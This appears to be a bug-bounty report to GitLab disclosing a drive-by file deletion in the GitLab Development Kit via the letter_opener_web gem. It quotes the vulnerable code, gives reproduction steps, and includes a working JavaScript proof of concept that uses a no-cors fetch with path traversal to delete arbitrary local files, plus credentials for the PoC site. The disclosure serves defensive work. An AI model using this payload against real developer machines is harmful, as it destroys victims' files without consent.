GitLab · Report #1353103
Drive-by arbitrary file deletion in the GDK via letter_opener_web gem
How it was found
Summary
When running gitlab in development, an extra gem used to view emails that have been sent:
https://gitlab.com/gitlab-org/gitlab/-/blob/v14.3.0-ee/config/routes/development.rb#L14
mount LetterOpenerWeb::Engine, at: '/rails/letter_opener'
One of the routes it adds is to delete a letter: https://github.com/fgrehm/letter_opener_web/blob/v1.4.0/app/controllers/letter_opener_web/letters_controller.rb#L38
def destroy
@letter.delete
redirect_to routes.letters_path
end
private
def load_letter
@letter = Letter.find(params[:id])
head :not_found unless @letter.exists?
end
The find and delete methods for Letter are:
https://github.com/fgrehm/letter_opener_web/blob/v1.4.0/app/models/letter_opener_web/letter.rb#L23
def self.find(id)
new(id: id)
end
def initialize(params)
@id = params.fetch(:id)
@sent_at = params[:sent_at]
end
def delete
FileUtils.rm_rf("#{LetterOpenerWeb.config.letters_location}/#{id}")
end
The delete route has no CSRF protection or authentication, so the only protection is CORS. Using fetch to post with _method=delete and no-cors allows the route to be hit without triggering a preflight check as it is considered a simple request.
In order to delete files outside of letters_location, the id needs to contain ../ and for this to happen the path needs to be encoded as %2e%2e%2f. Luckily chrome will automatically decode %2e to . and the request will never make it to the letter opener route. Firefox and Safari do not do this, and so can be used to trigger the file delete.
Steps to reproduce
- Setup the GDK: https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/index.md#one-line-installation
- Ensure that gitlab is running on http://localhost:3000/
- Login and setup the admin user
- Visit http://localhost:3000/rails/letter_opener and check that there are some letters waiting
- Create a file
/tmp/somethingwith some contents - Visit https://gdk.vakzz.me/ in firefox or safari (basic auth is
bb/924VYZF4BcB53vwa) - Enter
/tmp/somethingand click delete - See that the file
/tmp/somethinghas been deleted
Impact
Allows a malicious website to delete arbitrary files or folders on a developers computer if visited using Firefox or Safari
Examples
POC at https://gdk.vakzz.me (basic auth is bb / 924VYZF4BcB53vwa)
The delete code from the above site is:
function deleteFile() {
const fileToDelete = fileInput.value;
fileInput.value = "";
const path = "%2e%2e%2f".repeat(20) + encodeURIComponent(fileToDelete);
const url = `http://127.0.0.1:3000/rails/letter_opener/${path}`
const form = new FormData()
form.append("_method", "DELETE")
return fetch(url, { method: 'POST', body: form, mode: "no-cors" });
}
What is the current bug behavior?
- No CSRF protection on the letter_opener routes
What is the expected correct behavior?
- They should have CSRF protection
Relevant logs and/or screenshots
Demo: {F1463526}
Output of checks
Results of GitLab environment info
System information
System: Ubuntu 20.04
Proxy: no
Current User: vagrant
Using RVM: no
Ruby Version: 2.7.4p191
Gem Version: 3.1.6
Bundler Version:2.1.4
Rake Version: 13.0.6
Redis Version: 6.0.15
Git Version: 2.33.0
Sidekiq Version:5.2.9
Go Version: go1.16.8 linux/amd64
GitLab information
Version: 14.4.0-pre
Revision: b757b9f532c
Directory: /home/vagrant/gitlab-development-kit/gitlab
DB Adapter: PostgreSQL
DB Version: 12.6
URL: http://127.0.0.1:3000
HTTP Clone URL: http://127.0.0.1:3000/some-group/some-project.git
SSH Clone URL: ssh://[email protected]:2222/some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers: google_oauth2
GitLab Shell
Version: 13.21.1
Repository storage paths:
- default: /home/vagrant/gitlab-development-kit/repositories
GitLab Shell path: /home/vagrant/gitlab-development-kit/gitlab-shell
Git: /usr/bin/git
Impact
Allows a malicious website to delete arbitrary files or folders on a developers computer if visited using Firefox or Safari